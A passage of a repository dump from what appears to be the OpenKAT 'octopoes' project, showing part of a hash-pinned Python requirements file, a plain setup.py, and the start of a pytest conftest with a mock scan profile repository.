--hash=sha256:0ed177ed9bded28f8deb6ab40c183cd1192aa0de40c12f38be4d59cd33cb5c65 \\\n    --hash=sha256:12f90dd7557b6bd57f40abe7747e81e0c0b119bef015ea7726e69fe550e394a4 \\\n    --hash=sha256:1726859cd0de969f88dc8673bdd954185b9104e05806be64bcd87badbe313169 \\\n    --hash=sha256:1ab5b83dbcf55acc8b08fc62b796ef672c457b17dbd7820a11d6c52c06839bdf \\\n    --hash=sha256:1b151685b23929ab7beec71080a8889d4d6d9fa9a983d213f07121205d48e2c4 \\\n    --hash=sha256:1f3587eb9b17f3789ad50824084fa6f81921bbf9a795826570bda82cb3ed91f2 \\\n    --hash=sha256:250fa00e9543ac9b97ac258bd37367ff5256666122c2d0f2bc97577c60a1818c \\\n    --hash=sha256:2771c6c15973347f50fece41fc447c054b7ac2ae0502388ce3b6738cd366e3d4 \\\n    --hash=sha256:27f4b0e92de5bfbc6f86e43959e6edd1425c33b5e69aab0984a72047f2bcf1e3 \\\n    --hash=sha256:2e6ecb5a5bcacf59c3f912155044479af1d0b6681280048b338b28e364aca1f6 \\\n    --hash=sha256:32c8528634e1bf7121f3de08fa85b138f4e0dc47657866630611b03967f041d7 \\\n    --hash=sha256:33f559f3104504506a44bb666b93a33f5d33133765b0c216a5bf2f1e1503af89 \\\n    --hash=sha256:3896fa1be39912cf0757753826bc8bdc8ca331a28a7c4ae46b7a21280b06bb85 \\\n    --hash=sha256:389a2d49eded1896c3d48b0136ead37c48e221b391c052fba3f4055c367f60a6 \\\n    --hash=sha256:39c02563fc592411c2c61d26b6c5fe1e51eaa44a75aa2c8735ca88b0d9599daa \\\n    --hash=sha256:3adbb8179ce342d235c31ab8ec511e66c73faa27a47e076ccc92421add53e2bb \\\n    --hash=sha256:3d4a69de7a3e50ffc214ae16d79d8fbb0922972da0356dcf4d0fdca2878559c6 \\\n    --hash=sha256:3e62880792319dbeb7eb866547f2e35973289e7d5696c6e295476448f5b63c87 \\\n    --hash=sha256:3e8eeb0544f2eb0d2581774be4c3410356eba189529a6b3e36bbbf9696175856 \\\n    --hash=sha256:422c3cb9856d80b09d30d2eb255d0754b23e090034e1deb4083f8004bd0761e4 \\\n    --hash=sha256:4559c972db3a360808309e06a74628b95eaccbf961c335c8fe0d590cf587456f \\\n    --hash=sha256:46e83c697b1f1c72b50e5ee5adb4353eef7406fb3f2043d64c33f20ad1c2fc53 \\\n    --hash=sha256:47b0ef6231c58f506ef0b74d44e330405caa8428e770fec25329ed2cb971a229 \\\n    --hash=sha256:47e77dc9822d3ad616c3d5759ea5631a75e5809d5a28707744ef79d7a1bcfcad \\\n    --hash=sha256:47f236970bccb2233267d89173d3ad2703cd36a0e2a6e92d0560d333871a3d23 \\\n    --hash=sha256:47f9a91efc418b54fb8190a6b4aa7813a23fb79c51f4bb84e418f5476c38b8db \\\n    --hash=sha256:495aeca4b93d465efde585977365187149e75383ad2684f81519f504f5c13038 \\\n    --hash=sha256:4c5f36a861bc4b7da6516dbdf302c55313afa09b81931e8280361a4f6c9a2d27 \\\n    --hash=sha256:4cc2206b76b4f576934f0ed374b10d7ca5f457858b157ca52064bdfc26b9fc00 \\\n    --hash=sha256:4e7fc54e0900ab35d041b0601431b0a0eb495f0851a0639b6ef90f7741b39a18 \\\n    --hash=sha256:51a1234d8febafdfd33a42d97da7a43f5dcb120c1060e352a3fbc0c6d36e2083 \\\n    --hash=sha256:55f66022632205940f1827effeff17c4fa7ae1953d2b74a8581baaefb7d16f8c \\\n    --hash=sha256:58edca431fb9b29950807e301826586e5bbf24163677732429770a697ffe6738 \\\n    --hash=sha256:5965af57d5848192c13534f90f9dd16464f3c37aaf166cc1da1cae1fd5a34898 \\\n    --hash=sha256:5ba103fb455be00f3b1c2076c9d4264bfcb037c976167a6047ed82f23153f02e \\\n    --hash=sha256:5d4c2aa7c50ad4728a094ebd5eb46c452e9cb7edbfdb18f9e1221f597a73e1e7 \\\n    --hash=sha256:61046904275472a76c8c90c9ccee9013d70a6d0f73eecefd38c1ae7c39045a08 \\\n    --hash=sha256:613aa4771c99f03346e54c3f038e4cc574ac09a3ddfb0e8878487335e96dead6 \\\n    --hash=sha256:626a7433c34566535b6e56a1b39a7b17ba961e97ce3b80ec62e6f1312c025551 \\\n    --hash=sha256:669b1805bd639dd2989b281be2cfd951c6121b65e729d9b843e9639ef1fd555e \\\n    --hash=sha256:679ae98e00c0e8d68a7fda324e16b90fd5260945b45d3b824c892cec9eea3288 \\\n    --hash=sha256:67b02ec25ba7a9e8fa74c63b6ca44cf5707f2fbfadae3ee8e7494297d56aa9df \\\n    --hash=sha256:68f19c879420aa08f61203801423f6cd5ac5f0ac4ac82a2368a9fcd6a9a075e0 \\\n    --hash=sha256:692bef75a5525db97318e8cd061542b5a79812d711ea03dbc1f6f8dbb0c5f0d2 \\\n    --hash=sha256:6abc8880d9d036ecaafe709079969f56e876fcf107f7a8e9920ba6d5a3878d05 \\\n    --hash=sha256:6bdfdb946967d816e6adf9a3d8201bfad269c67efe6cefd7093ef959683c8de0 \\\n    --hash=sha256:6de2a32a1665b93233cde140ff8b3467bdb9e2af2b91079f0333a0974d12d464 \\\n    --hash=sha256:73c67f2db7bc334e518d097c6d1e6fed021bbc9b7d678d6cc433478365d1d5f5 \\\n    --hash=sha256:74a3243a411126362712ee1524dfc90c650a503502f135d54d1b352bd01f2404 \\\n    --hash=sha256:76fec018282b4ead0364022e3c54b60bf368b9d926877957a8624b58419169b7 \\\n    --hash=sha256:7c64d38fb49b6cdeda16ab49e35fe0da2e1e9b34bc38bd78386530f218b37139 \\\n    --hash=sha256:7cee9c752c0364588353e627da8a7e808a66873672bcb5f52890c33fd965b394 \\\n    --hash=sha256:7e6ecfcb62edfd632e56983964e6884851786443739dbfe3582947e87274f7cb \\\n    --hash=sha256:806f36b1b605e2d6a72716f321f20036b9489d29c51c91f4dd29a3e3afb73b15 \\\n    --hash=sha256:858738e9c32147f78b3ac24dc0edb6610000e56dc0f700fd5f651d0a0f0eb9ff \\\n    --hash=sha256:8d6d1cc13664ec13c1b84241204ff3b12f9bb82464b8ad6e7a5d3486975c2eed \\\n    --hash=sha256:9027da1ce107104c50c81383cae773ef5c24d296dd11c99e2629dbd7967a20c6 \\\n    --hash=sha256:922e10f31f303c7c920da8981051ff6d8c1a56207dbdf330d9047f6d30b70e5e \\\n    --hash=sha256:945dccface01af02675628334f7cf49c2af4c1c904748efc5cf7bbdf0b579f95 \\\n    --hash=sha256:946fe926af6e44f3697abbc305ea168c2c31d3e3ef1058cf68f379bf0335a78d \\\n    --hash=sha256:95f0802447ac2d10bcc69f6dc28fe95fdf17940367b21d34e34c737870758950 \\\n    --hash=sha256:9854cf4f488b3d57b9aaeb105f06d78e5529d3145b1e4a41750167e8c213c6d3 \\\n    --hash=sha256:993914b8e560023bc0a8bf742c5f303551992dcb85e247b1e5c7f4a7d145bda5 \\\n    --hash=sha256:99b47d6ad9a6da00bec6aabe5a6279ecd3c06a329d4aa4771034a21e335c3a97 \\\n    --hash=sha256:9a4e86e34e9ab6b667c27f3211ca48f73dba7cd3d90f8d5b11be56e5dbc3fb4e \\\n    --hash=sha256:9cf69cdda1f5968a30a359aba2f7f9aa648a9ce4b580d6826437f2b291cfc86e \\\n    --hash=sha256:a090322ca841abd453d43456ac34db46e8b05fd9b3b4ac0c78bcde8b089f959b \\\n    --hash=sha256:a1010ed9524c73b94d15919ca4d41d8780980e1765babf85f9a2f90d247153dd \\\n    --hash=sha256:a161f20d9a43006833cd7068375a94d035714d73a172b681d8881820600abfad \\\n    --hash=sha256:a1d0bc22a7cdc173fedebb73ef81e07faef93692b8c1ad3733b67e31e1b6e1b8 \\\n    --hash=sha256:a2bffea6a4ca9f01b3f8e548302470306689684e61602aa3d141e34da06cf425 \\\n    --hash=sha256:a452763cc5198f2f98898eb98f7569649fe5da666c2dc6b5ddb10fde5a574221 \\\n    --hash=sha256:a4796a717bf12b9da9d3ad002519a86063dcac8988b030e405704ef7d74d2d9d \\\n    --hash=sha256:a51033ff701fca756439d641c0ad09a41d9242fa69121c7d8769604a0a629825 \\\n    --hash=sha256:a8fa71a2e078c527c3e9dc9fc5a98c9db40bcc8a92b4e8858e36d329f8684b51 \\\n    --hash=sha256:ac37f9f516c51e5753f27dfdef11a88330f04de2d564be3991384b2f3535d02e \\\n    --hash=sha256:ac98b175585ecf4c0348fd7b29c3864bda53b805c773cbf7bfdaffc8070c976f \\\n    --hash=sha256:acd7eb3f4471577b9b5a41baf02a978e8bdeb08b4b355273994f8b87032000a8 \\\n    --hash=sha256:ad1fa8db769b76ea911cb4e10f049d80bf518c104f15b3edb2371cc65375c46f \\\n    --hash=sha256:b40fb160a2db369a194cb27943582b38f79fc4887291417685f3ad693c5a1d5d \\\n    --hash=sha256:b4dc1a6ff022ff85ecafef7979a2c6eb423430e05f1165d6688234e62ba99a07 \\\n    --hash=sha256:ba3af48635eb83d03f6c9735dfb21785303e73d22ad03d489e88adae6eab8877 \\\n    --hash=sha256:ba81a9203d07805435eb06f536d95a266c21e5b2dfbf6517748ca40c98d19e31 \\\n    --hash=sha256:c2262bdba0ad4fc6fb5545660673925c2d2a5d9e2e0fb603aad545427be0fc58 \\\n    --hash=sha256:c77afbd5f5250bf27bf516c7c4a016813eb2d3e116139aed0096940c5982da94 \\\n    --hash=sha256:ca28829ae5f5d569bb62a79512c842a03a12576375d5ece7d2cadf8abe96ec28 \\\n    --hash=sha256:cdc62c8286ba9bf7f47befdcea13ea0e26bf294bda99758fd90535cbaf408000 \\\n    --hash=sha256:d948b135c4693daff7bc2dcfc4ec57237a29bd37e60c2fabf5aff2bbacf3e2f1 \\\n    --hash=sha256:d96c2086587c7c30d44f31f42eae4eac89b60dabbac18c7669be3700f13c3ce1 \\\n    --hash=sha256:d9a0ca5da0386dee0655b4ccdf46119df60e0f10da268d04fe7cc87886872ba7 \\\n    --hash=sha256:da279aa314f00acbb803da1e76fa18666778e8a8f83484fba94526da5de2cba7 \\\n    --hash=sha256:dbd936cde57abfee19ab3213cf9c26be06d60750e60a8e4dd85d1ab12c8b1f40 \\\n    --hash=sha256:dc4f992dfe1e2bc3ebc7444f6c7051b4bc13cd8e33e43511e8ffd13bf407010d \\\n    --hash=sha256:dc824125c72246d924f7f796b4f63c1e9dc810c7d9e2355864b3c3a73d59ade0 \\\n    --hash=sha256:dd8ff7cf90014af0c0f787eea34794ebf6415242ee1d6fa91eaba725cc441e84 \\\n    --hash=sha256:dea5b552272a944763b34394d04577cf0f9bd013207bc32323b5a89a53cf9c2f \\\n    --hash=sha256:dff13836529b921e22f15cb099751209a60009731a68519630a24d61f0b1b30a \\\n    --hash=sha256:e0b65193a413ccc930671c55153a03ee57cecb49e6227204b04fae512eb657a7 \\\n    --hash=sha256:e5d3e6b26f2c785d65cc25ef1e5267ccbe1b069c5c21b8cc724efee290554419 \\\n    --hash=sha256:e7536cd91353c5273434b4e003cbda89034d67e7710eab8761fd918ec6c69cf8 \\\n    --hash=sha256:eb0b93f2e5c2189ee831ee43f156ed34e2a89a78a66b98cadad955972548be5a \\\n    --hash=sha256:eb2c4071ab598733724c08221091e8d80e89064cd472819285a9ab0f24bcedb9 \\\n    --hash=sha256:ec7c4490c672c1a0389d319b3a9cfcd098dcdc4783991553c332a15acf7249be \\\n    --hash=sha256:ee454b2a007d57363c2dfd5b6ca4a5d7e2c518938f8ed3b706e37e5d470801ed \\\n    --hash=sha256:ee6af14263f25eedc3bb918a3c04245106a42dfd4f5c2285ea6f997b1fc3f89a \\\n    --hash=sha256:f14fc5df50a716f7ece6a80b6c78bb35ea2ca47c499e422aa4463455dd96d56d \\\n    --hash=sha256:f207f69853edd6f6700b86efb84999651baf3789e78a466431df1331608e5324 \\\n    --hash=sha256:f251c812357a3fed308d684a5079ddfb9d933860fc6de89f2b7ab00da481e65f \\\n    --hash=sha256:f83424d738204d9770830d35290ff3273fbb02b41f919870479fab14b9d303b2 \\\n    --hash=sha256:f8d1736cfb49381ba528cd5baa46f82fdc65c06e843dab24dd70b63d09121b3f \\\n    --hash=sha256:fe5fa731a1fa8a0a56b0977413f8cacac1768dad38d16b3a296712709476fbd5\n    # via\n    #   jsonschema\n    #   referencing\nsetuptools==81.0.0 \\\n    --hash=sha256:487b53915f52501f0a79ccfd0c02c165ffe06631443a886740b91af4b7a5845a \\\n    --hash=sha256:fdd925d5c5d9f62e4b74b30d6dd7828ce236fd6ed998a08d81de62ce5a6310d6\n    # via octopoes\nsix==1.17.0 \\\n    --hash=sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274 \\\n    --hash=sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81\n    # via python-dateutil\nsqlalchemy==1.4.48 \\\n    --hash=sha256:066c2b0413e8cb980e6d46bf9d35ca83be81c20af688fedaef01450b06e4aa5e \\\n    --hash=sha256:2ee26276f12614d47cc07bc85490a70f559cba965fb178b1c45d46ffa8d73fda \\\n    --hash=sha256:4355e5915844afdc5cf22ec29fba1010166e35dd94a21305f49020022167556b \\\n    --hash=sha256:49c312bcff4728bffc6fb5e5318b8020ed5c8b958a06800f91859fe9633ca20e \\\n    --hash=sha256:5381ddd09a99638f429f4cbe1b71b025bed318f6a7b23e11d65f3eed5e181c33 \\\n    --hash=sha256:87609f6d4e81a941a17e61a4c19fee57f795e96f834c4f0a30cee725fc3f81d9 \\\n    --hash=sha256:b47bc287096d989a0838ce96f7d8e966914a24da877ed41a7531d44b55cdb8df \\\n    --hash=sha256:c99bf13e07140601d111a7c6f1fc1519914dd4e5228315bbda255e08412f61a4 \\\n    --hash=sha256:ce7915eecc9c14a93b73f4e1c9d779ca43e955b43ddf1e21df154184f39748e5 \\\n    --hash=sha256:cef2e2abc06eab187a533ec3e1067a71d7bbec69e582401afdf6d8cad4ba3515 \\\n    --hash=sha256:d53cd8bc582da5c1c8c86b6acc4ef42e20985c57d0ebc906445989df566c5603 \\\n    --hash=sha256:fb0808ad34167f394fea21bd4587fc62f3bd81bba232a1e7fbdfa17e6cfa7cd7\n    # via octopoes\nstarlette==1.0.0 \\\n    --hash=sha256:6a4beaf1f81bb472fd19ea9b918b50dc3a77a6f2e190a12954b25e6ed5eea149 \\\n    --hash=sha256:d3ec55e0bb321692d275455ddfd3df75fff145d009685eb40dc91fc66b03d38b\n    # via fastapi\nstructlog==25.5.0 \\\n    --hash=sha256:098522a3bebed9153d4570c6d0288abf80a031dfdb2048d59a49e9dc2190fc98 \\\n    --hash=sha256:a8453e9b9e636ec59bd9e79bbd4a72f025981b3ba0f5837aebf48f02f37a7f9f\n    # via octopoes\ntldextract==5.3.1 \\\n    --hash=sha256:6bfe36d518de569c572062b788e16a659ccaceffc486d243af0484e8ecf432d9 \\\n    --hash=sha256:a72756ca170b2510315076383ea2993478f7da6f897eef1f4a5400735d5057fb\n    # via octopoes\ntyping-extensions==4.15.0 \\\n    --hash=sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466 \\\n    --hash=sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548\n    # via\n    #   anyio\n    #   asgiref\n    #   exceptiongroup\n    #   fastapi\n    #   grpcio\n    #   opentelemetry-api\n    #   opentelemetry-exporter-otlp-proto-grpc\n    #   opentelemetry-sdk\n    #   opentelemetry-semantic-conventions\n    #   pydantic\n    #   pydantic-core\n    #   referencing\n    #   starlette\n    #   structlog\n    #   typing-inspection\n    #   uvicorn\ntyping-inspection==0.4.2 \\\n    --hash=sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7 \\\n    --hash=sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464\n    # via\n    #   fastapi\n    #   pydantic\n    #   pydantic-settings\ntzdata==2026.1 \\\n    --hash=sha256:4b1d2be7ac37ceafd7327b961aa3a54e467efbdb563a23655fbfe0d39cfc42a9 \\\n    --hash=sha256:67658a1903c75917309e753fdc349ac0efd8c27db7a0cb406a25be4840f87f98\n    # via\n    #   kombu\n    #   tzlocal\ntzlocal==5.3.1 \\\n    --hash=sha256:cceffc7edecefea1f595541dbd6e990cb1ea3d19bf01b2809f362a03dd7921fd \\\n    --hash=sha256:eb1a66c3ef5847adf7a834f1be0800581b683b5608e74f86ecbcef8ab91bb85d\n    # via celery\nurllib3==2.6.3 \\\n    --hash=sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed \\\n    --hash=sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4\n    # via requests\nuvicorn==0.29.0 \\\n    --hash=sha256:2c2aac7ff4f4365c206fd773a39bf4ebd1047c238f8b8268ad996829323473de \\\n    --hash=sha256:6a69214c0b6a087462412670b3ef21224fa48cae0e452b5883e8e8bdfdd11dd0\n    # via octopoes\nvine==5.1.0 \\\n    --hash=sha256:40fdf3c48b2cfe1c38a49e9ae2da6fda88e4794c810050a728bd7413811fb1dc \\\n    --hash=sha256:8b62e981d35c41049211cf62a0a1242d8c1ee9bd15bb196ce38aefd6799e61e0\n    # via\n    #   amqp\n    #   celery\n    #   kombu\nwcwidth==0.6.0 \\\n    --hash=sha256:1a3a1e510b553315f8e146c54764f4fb6264ffad731b3d78088cdb1478ffbdad \\\n    --hash=sha256:cdc4e4262d6ef9a1a57e018384cbeb1208d8abbc64176027e2c2455c81313159\n    # via prompt-toolkit\nwrapt==2.1.2 \\\n    --hash=sha256:08ffa54146a7559f5b8df4b289b46d963a8e74ed16ba3687f99896101a3990c5 \\\n    --hash=sha256:0fc04bc8664a8bc4c8e00b37b5355cffca2535209fba1abb09ae2b7c76ddf82b \\\n    --hash=sha256:1370e516598854e5b4366e09ce81e08bfe94d42b0fd569b88ec46cc56d9164a9 \\\n    --hash=sha256:162e4e2ba7542da9027821cb6e7c5e068d64f9a10b5f15512ea28e954893a267 \\\n    --hash=sha256:16997dfb9d67addc2e3f41b62a104341e80cac52f91110dece393923c0ebd5ca \\\n    --hash=sha256:1c51c738d7d9faa0b3601708e7e2eda9bf779e1b601dce6c77411f2a1b324a63 \\\n    --hash=sha256:1c6cc827c00dc839350155f316f1f8b4b0c370f52b6a19e782e2bda89600c7dc \\\n    --hash=sha256:2b8b28e97a44d21836259739ae76284e180b18abbb4dcfdff07a415cf1016c3e \\\n    --hash=sha256:2d3ff4f0024dd224290c0eabf0240f1bfc1f26363431505fb1b0283d3b08f11d \\\n    --hash=sha256:3144b027ff30cbd2fca07c0a87e67011adb717eb5f5bd8496325c17e454257a3 \\\n    --hash=sha256:3278c471f4468ad544a691b31bb856374fbdefb7fee1a152153e64019379f015 \\\n    --hash=sha256:3769a77df8e756d65fbc050333f423c01ae012b4f6731aaf70cf2bef61b34596 \\\n    --hash=sha256:3969c56e4563c375861c8df14fa55146e81ac11c8db49ea6fb7f2ba58bc1ff9a \\\n    --hash=sha256:3996a67eecc2c68fd47b4e3c564405a5777367adfd9b8abb58387b63ee83b21e \\\n    --hash=sha256:3b8d15e52e195813efe5db8cec156eebe339aaf84222f4f4f051a6c01f237ed7 \\\n    --hash=sha256:3beb22f674550d5634642c645aba4c72a2c66fb185ae1aebe1e955fae5a13baf \\\n    --hash=sha256:3d7b6fd105f8b24e5bd23ccf41cb1d1099796524bcc6f7fbb8fe576c44befbc9 \\\n    --hash=sha256:4006c351de6d5007aa33a551f600404ba44228a89e833d2fadc5caa5de8edfbf \\\n    --hash=sha256:467e7c76315390331c67073073d00662015bb730c566820c9ca9b54e4d67fd04 \\\n    --hash=sha256:4b7a86d99a14f76facb269dc148590c01aaf47584071809a70da30555228158c \\\n    --hash=sha256:4bdf26e03e6d0da3f0e9422fd36bcebf7bc0eeb55fdf9c727a09abc6b9fe472e \\\n    --hash=sha256:5681123e60aed0e64c7d44f72bbf8b4ce45f79d81467e2c4c728629f5baf06eb \\\n    --hash=sha256:577dff354e7acd9d411eaf4bfe76b724c89c89c8fc9b7e127ee28c5f7bcb25b6 \\\n    --hash=sha256:57d7c0c980abdc5f1d98b11a2aa3bb159790add80258c717fa49a99921456d90 \\\n    --hash=sha256:5a0a0a3a882393095573344075189eb2d566e0fd205a2b6414e9997b1b800a8b \\\n    --hash=sha256:5c35b5d82b16a3bc6e0a04349b606a0582bc29f573786aebe98e0c159bc48db6 \\\n    --hash=sha256:62503ffbc2d3a69891cf29beeaccdb4d5e0a126e2b6a851688d4777e01428dbb \\\n    --hash=sha256:6433ea84e1cfacf32021d2a4ee909554ade7fd392caa6f7c13f1f4bf7b8e8748 \\\n    --hash=sha256:64a07a71d2730ba56f11d1a4b91f7817dc79bc134c11516b75d1921a7c6fcda1 \\\n    --hash=sha256:6de1a3851c27e0bd6a04ca993ea6f80fc53e6c742ee1601f486c08e9f9b900a9 \\\n    --hash=sha256:6f2c5390460de57fa9582bc8a1b7a6c86e1a41dfad74c5225fc07044c15cc8d1 \\\n    --hash=sha256:6f8dbdd3719e534860d6a78526aafc220e0241f981367018c2875178cf83a413 \\\n    --hash=sha256:6f97edc9842cf215312b75fe737ee7c8adda75a89979f8e11558dfff6343cc4b \\\n    --hash=sha256:72aaa9d0d8e4ed0e2e98019cea47a21f823c9dd4b43c7b77bba6679ffcca6a00 \\\n    --hash=sha256:76405518ca4e1b76fbb1b9f686cff93aebae03920cc55ceeec48ff9f719c5f67 \\\n    --hash=sha256:767c0dbbe76cae2a60dd2b235ac0c87c9cccf4898aef8062e57bead46b5f6894 \\\n    --hash=sha256:776867878e83130c7a04237010463372e877c1c994d449ca6aaafeab6aab2586 \\\n    --hash=sha256:787fd6f4d67befa6fe2abdffcbd3de2d82dfc6fb8a6d850407c53332709d030b \\\n    --hash=sha256:79847b83eb38e70d93dc392c7c5b587efe65b3e7afcc167aa8abd5d60e8761c8 \\\n    --hash=sha256:7dfa9f2cf65d027b951d05c662cc99ee3bd01f6e4691ed39848a7a5fffc902b2 \\\n    --hash=sha256:84ce8f1c2104d2f6daa912b1b5b039f331febfeee74f8042ad4e04992bd95c8f \\\n    --hash=sha256:866abdbf4612e0b34764922ef8b1c5668867610a718d3053d59e24a5e5fcfc15 \\\n    --hash=sha256:96159a0ee2b0277d44201c3b5be479a9979cf154e8c82fa5df49586a8e7679bb \\\n    --hash=sha256:970d57ed83fa040d8b20c52fe74a6ae7e3775ae8cff5efd6a81e06b19078484c \\\n    --hash=sha256:98ba61833a77b747901e9012072f038795de7fc77849f1faa965464f3f87ff2d \\\n    --hash=sha256:9c691a6bc752c0cc4711cc0c00896fcd0f116abc253609ef64ef930032821842 \\\n    --hash=sha256:a76d61a2e851996150ba0f80582dd92a870643fa481f3b3846f229de88caf044 \\\n    --hash=sha256:a819e39017f95bf7aede768f75915635aa8f671f2993c036991b8d3bfe8dbb6f \\\n    --hash=sha256:a8914c754d3134a3032601c6984db1c576e6abaf3fc68094bb8ab1379d75ff92 \\\n    --hash=sha256:a9372fc3639a878c8e7d87e1556fa209091b0a66e912c611e3f833e2c4202be2 \\\n    --hash=sha256:a93cd767e37faeddbe07d8fc4212d5cba660af59bdb0f6372c93faaa13e6e679 \\\n    --hash=sha256:a9b9d50c9af998875a1482a038eb05755dfd6fe303a313f6a940bb53a83c3f18 \\\n    --hash=sha256:a9dd9813825f7ecb018c17fd147a01845eb330254dff86d3b5816f20f4d6aaf8 \\\n    --hash=sha256:b89f095fe98bc12107f82a9f7d570dc83a0870291aeb6b1d7a7d35575f55d98a \\\n    --hash=sha256:b8fd6fa2b2c4e7621808f8c62e8317f4aae56e59721ad933bac5239d913cf0e8 \\\n    --hash=sha256:bbac24d879aa22998e87f6b3f481a5216311e7d53c7db87f189a7a0266dafffb \\\n    --hash=sha256:c0be8b5a74c5824e9359b53e7e58bef71a729bacc82e16587db1c4ebc91f7c5a \\\n    --hash=sha256:c20b757c268d30d6215916a5fa8461048d023865d888e437fab451139cad6c8e \\\n    --hash=sha256:c7e6cd120ef837d5b6f860a6ea3745f8763805c418bb2f12eeb1fa6e25f22d22 \\\n    --hash=sha256:c87cf3f0c85e27b3ac7d9ad95da166bf8739ca215a8b171e8404a2d739897a45 \\\n    --hash=sha256:c8e46ae8e4032792eb2f677dbd0d557170a8e5524d22acc55199f43efedd39bf \\\n    --hash=sha256:cef91c95a50596fcdc31397eb6955476f82ae8a3f5a8eabdc13611b60ee380ba \\\n    --hash=sha256:d1c5fea4f9fe3762e2b905fdd67df51e4be7a73b7674957af2d2ade71a5c075d \\\n    --hash=sha256:d307aa6888d5efab2c1cde09843d48c843990be13069003184b67d426d145394 \\\n    --hash=sha256:d8f7740e1af13dff2684e4d56fe604a7e04d6c94e737a60568d8d4238b9a0c71 \\\n    --hash=sha256:da1f00a557c66225d53b095a97eace0fc5349e3bfda28fa34ffae238978ee575 \\\n    --hash=sha256:dad63212b168de8569b1c512f4eac4b57f2c6934b30df32d6ee9534a79f1493f \\\n    --hash=sha256:de9f1a2bbc5ac7f6012ec24525bdd444765a2ff64b5985ac6e0692144838542e \\\n    --hash=sha256:e3d3b35eedcf5f7d022291ecd7533321c4775f7b9cd0050a31a68499ba45757c \\\n    --hash=sha256:e6ed62c82ddf58d001096ae84ce7f833db97ae2263bff31c9b336ba8cfe3f508 \\\n    --hash=sha256:eba8155747eb2cae4a0b913d9ebd12a1db4d860fc4c829d7578c7b989bd3f2f0 \\\n    --hash=sha256:f01277d9a5fc1862f26f7626da9cf443bebc0abd2f303f41c5e995b15887dabd \\\n    --hash=sha256:f29c827a8d9936ac320746747a016c4bc66ef639f5cd0d32df24f5eacbf9c69f \\\n    --hash=sha256:f3b7d73012ea75aee5844de58c88f44cf62d0d62711e39da5a82824a7c4626a8 \\\n    --hash=sha256:f8bc1c264d8d1cf5b3560a87bbdd31131573eb25f9f9447bb6252b8d4c44a3a1 \\\n    --hash=sha256:f8fba1bae256186a83d1875b2b1f4e2d1242e8fac0f58ec0d7e41b26967b965c \\\n    --hash=sha256:fab036efe5464ec3291411fabb80a7a39e2dd80bae9bcbeeca5087fdfa891e19 \\\n    --hash=sha256:ff2aad9c4cda28a8f0653fc2d487596458c2a3f475e56ba02909e950a9efa6a9 \\\n    --hash=sha256:ff95d4264e55839be37bafe1536db2ab2de19da6b65f9244f01f332b5286cfbf\n    # via\n    #   octopoes\n    #   opentelemetry-instrumentation\n    #   opentelemetry-instrumentation-dbapi\n    #   opentelemetry-instrumentation-httpx\nzipp==3.23.1 \\\n    --hash=sha256:0b3596c50a5c700c9cb40ba8d86d9f2cc4807e9bedb06bcdf7fac85633e444dc \\\n    --hash=sha256:32120e378d32cd9714ad503c1d024619063ec28aad2248dc6672ad13edfa5110\n    # via importlib-metadata\n"
  },
  {
    "path": "octopoes/setup.py",
    "content": "from setuptools import find_packages, setup\n\nfrom octopoes.version import __version__\n\nsetup(\n    name=\"octopoes\",\n    version=__version__,\n    author=\"MinVWS\",\n    url=\"https://openkat.nl/\",\n    license=\"EUPL-1.2\",\n    packages=find_packages(exclude=\"tests\"),\n    package_data={\"octopoes\": [\"data/logging.yml\"]},\n    include_package_data=True,\n)\n"
  },
  {
    "path": "octopoes/tests/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/tests/conftest.py",
    "content": "import uuid\nfrom collections.abc import Iterator\nfrom datetime import datetime, timezone\nfrom ipaddress import IPv4Address, ip_address\nfrom unittest.mock import Mock\n\nimport pytest\nfrom bits.runner import BitRunner\n\nfrom octopoes.config.settings import Settings\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.core.app import get_xtdb_client\nfrom octopoes.core.service import OctopoesService\nfrom octopoes.events.manager import EventManager\nfrom octopoes.models import OOI, DeclaredScanProfile, EmptyScanProfile, Reference, ScanProfileBase\nfrom octopoes.models.ooi.certificate import X509Certificate\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.network import IPAddressV6\nfrom octopoes.models.ooi.reports import AssetReport, Report, ReportRecipe\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\nfrom octopoes.models.ooi.web import URL, HTTPHeader, SecurityTXT\nfrom octopoes.models.origin import Origin, OriginType\nfrom octopoes.models.path import Direction, Path\nfrom octopoes.models.types import (\n    DNSZone,\n    Hostname,\n    HostnameHTTPURL,\n    HTTPResource,\n    IPAddressV4,\n    IPPort,\n    IPService,\n    Network,\n    ResolvedHostname,\n    Service,\n    Website,\n)\nfrom octopoes.repositories.ooi_repository import OOIRepository, XTDBOOIRepository\nfrom octopoes.repositories.origin_parameter_repository import XTDBOriginParameterRepository\nfrom octopoes.repositories.origin_repository import XTDBOriginRepository\nfrom octopoes.repositories.scan_profile_repository import ScanProfileRepository, XTDBScanProfileRepository\nfrom octopoes.xtdb.client import XTDBHTTPClient, XTDBSession\n\n\n@pytest.fixture\ndef valid_time():\n    return datetime.now(timezone.utc)\n\n\nclass MockScanProfileRepository(ScanProfileRepository):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.profiles = {}\n\n    def get(self, ooi_reference: Reference, valid_time: datetime) -> ScanProfileBase:\n        return self.profiles[ooi_reference]\n\n    def save(\n        self, old_scan_profile: ScanProfileBase | None, new_scan_profile: ScanProfileBase, valid_time: datetime\n    ) -> None:\n        self.profiles[new_scan_profile.reference] = new_scan_profile\n\n    def list_scan_profiles(self, scan_profile_type: str | None, valid_time: datetime) -> list[ScanProfileBase]:\n        if scan_profile_type:\n            return [profile for profile in self.profiles.values() if profile.scan_profile_type == scan_profile_type]\n        else:\n            return self.profiles.values()\n\n    def delete(self, scan_profile: ScanProfileBase, valid_time: datetime) -> None:\n        del self.profiles[scan_profile.reference]\n\n\n@pytest.fixture\ndef scan_profile_repository():\n    return 